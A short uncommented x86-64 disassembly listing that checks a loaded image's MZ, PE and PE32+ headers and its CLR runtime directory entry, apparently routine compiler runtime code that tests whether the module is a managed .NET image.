mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140138272
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
jne 0x140138272
mov eax, 0x20b
cmp word [rdx + 0x18], ax
jne 0x140138272
cmp dword [rdx + 0x84], 0xe
jbe 0x140138272
cmp dword [rdx + 0xf8], 0
je 0x140138272
mov ecx, ebx
call fcn.1401380d0
lea rax, [rsp + 0x68]
mov byte [rsp + 0x58], 0
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x20]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
lea rcx, [0x14013f280]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x30], rax
call fcn.140137f50
cmp dword [rsp + 0x60], 0
jne 0x1401382b5
mov ecx, ebx
call fcn.140138080
int3
add rsp, 0x40
pop rbx
ret